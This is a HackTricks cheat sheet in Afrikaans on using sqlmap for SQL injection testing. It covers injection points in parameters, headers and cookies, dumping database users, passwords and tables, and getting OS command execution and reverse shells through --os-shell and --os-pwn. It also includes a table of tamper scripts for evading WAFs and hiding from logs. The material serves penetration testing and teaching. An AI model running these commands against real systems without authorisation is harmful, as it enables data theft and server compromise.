hacktricks/pentesting-web/sql-injection/sqlmap.md

10 KiB

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Opleiding AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Opleiding GCP Red Team Expert (GRTE)

Ondersteun HackTricks
{% endhint %}

Basiese argumente vir SQLmap

Generies

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY

Herwin Inligting

Internaal

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB

DB data

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Inspuitplek

Van Burp/ZAP vang

Vang die versoek en skep 'n req.txt lêer

sqlmap -r req.txt --current-user

GET Versoek Inspuiting

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

POST Versoek Inspuiting

sqlmap -u "http://example.com" --data "username=*&password=*"

Inspuitings in Headers en ander HTTP Metodes

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Tweede orde inspuiting

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Skulpin

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Krap 'n webwerf met SQLmap en outomatiese eksploitasie

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Pas Injectie Aan

Stel 'n agtervoegsel in

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Voorvoegsel

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Help om booleaanse inspuiting te vind

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Tamper Description
apostrophemask.py Vervang apostrof karakter met sy UTF-8 volle breedte teenhanger
apostrophenullencode.py Vervang apostrof karakter met sy onwettige dubbele unicode teenhanger
appendnullbyte.py Voeg geënkodeerde NULL byte karakter by die einde van die payload
base64encode.py Base64 al karakters in 'n gegewe payload
between.py Vervang groter as operator '&gt;' met 'NOT BETWEEN 0 AND #'
bluecoat.py Vervang spasie karakter na SQL verklaring met 'n geldige willekeurige leë karakter. Daarna vervang karakter = met LIKE operator
chardoubleencode.py Dubbel url-encode al karakters in 'n gegewe payload nie reeds geënkodeerde verwerk
commalesslimit.py Vervang voorbeelde soos 'LIMIT M, N' met 'LIMIT N OFFSET M'
commalessmid.py Vervang voorbeelde soos 'MID(A, B, C)' met 'MID(A FROM B FOR C)'
concat2concatws.py Vervang voorbeelde soos 'CONCAT(A, B)' met 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'
charencode.py Url-encode al karakters in 'n gegewe payload nie reeds geënkodeerde verwerk
charunicodeencode.py Unicode-url-encode nie-geënkodeerde karakters in 'n gegewe payload nie reeds geënkodeerde verwerk. "%u0022"
charunicodeescape.py Unicode-url-encode nie-geënkodeerde karakters in 'n gegewe payload nie reeds geënkodeerde verwerk. "\u0022"
equaltolike.py Vervang alle voorkomste van operator gelyk '=' met operator 'LIKE'
escapequotes.py Skuil aanhalingstekens ' en "
greatest.py Vervang groter as operator '&gt;' met 'GREATEST' teenhanger
halfversionedmorekeywords.py Voeg geversioneerde MySQL kommentaar voor elke sleutelwoord by
ifnull2ifisnull.py Vervang voorbeelde soos 'IFNULL(A, B)' met 'IF(ISNULL(A), B, A)'
modsecurityversioned.py Omhels volledige navraag met geversioneerde kommentaar
modsecurityzeroversioned.py Omhels volledige navraag met nul-geversioneerde kommentaar
multiplespaces.py Voeg meerdere spasies rondom SQL sleutelwoorde by
nonrecursivereplacement.py Vervang vooraf gedefinieerde SQL sleutelwoorde met voorstellings geskik vir vervanging (bv. .replace("SELECT", "")) filters
percentage.py Voeg 'n persentasieteken '%' voor elke karakter by
overlongutf8.py Converteer al karakters in 'n gegewe payload nie reeds geënkodeerde verwerk
randomcase.py Vervang elke sleutelwoord karakter met willekeurige kaswaarde
randomcomments.py Voeg willekeurige kommentaar by SQL sleutelwoorde
securesphere.py Voeg spesiaal saamgestelde string by
sp_password.py Voeg 'sp_password' by die einde van die payload vir outomatiese obfuskaasie van DBMS logs
space2comment.py Vervang spasie karakter ' ' met kommentaar
space2dash.py Vervang spasie karakter ' ' met 'n streep kommentaar '--' gevolg deur 'n willekeurige string en 'n nuwe lyn '\n'
space2hash.py Vervang spasie karakter ' ' met 'n pond karakter '\#' gevolg deur 'n willekeurige string en 'n nuwe lyn '\n'
space2morehash.py Vervang spasie karakter ' ' met 'n pond karakter '\#' gevolg deur 'n willekeurige string en 'n nuwe lyn '\n'
space2mssqlblank.py Vervang spasie karakter ' ' met 'n willekeurige leë karakter uit 'n geldige stel alternatiewe karakters
space2mssqlhash.py Vervang spasie karakter ' ' met 'n pond karakter '\#' gevolg deur 'n nuwe lyn '\n'
space2mysqlblank.py Vervang spasie karakter ' ' met 'n willekeurige leë karakter uit 'n geldige stel alternatiewe karakters
space2mysqldash.py Vervang spasie karakter ' ' met 'n streep kommentaar '--' gevolg deur 'n nuwe lyn '\n'
space2plus.py Vervang spasie karakter ' ' met plus '+'
space2randomblank.py Vervang spasie karakter ' ' met 'n willekeurige leë karakter uit 'n geldige stel alternatiewe karakters
symboliclogical.py Vervang AND en OR logiese operators met hul simboliese teenhanger (&& en
unionalltounion.py Vervang UNION ALL SELECT met UNION SELECT
unmagicquotes.py Vervang aanhaling karakter ' met 'n multi-byte kombinasie %bf%27 saam met generiese kommentaar aan die einde om dit te laat werk
uppercase.py Vervang elke sleutelwoord karakter met hoofletters waarde 'INSERT'
varnish.py Voeg 'n HTTP koptekst 'X-originating-IP' by
versionedkeywords.py Omhels elke nie-funksie sleutelwoord met geversioneerde MySQL kommentaar
versionedmorekeywords.py Omhels elke sleutelwoord met geversioneerde MySQL kommentaar
xforwardedfor.py Voeg 'n valse HTTP koptekst 'X-Forwarded-For' by

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks
{% endhint %}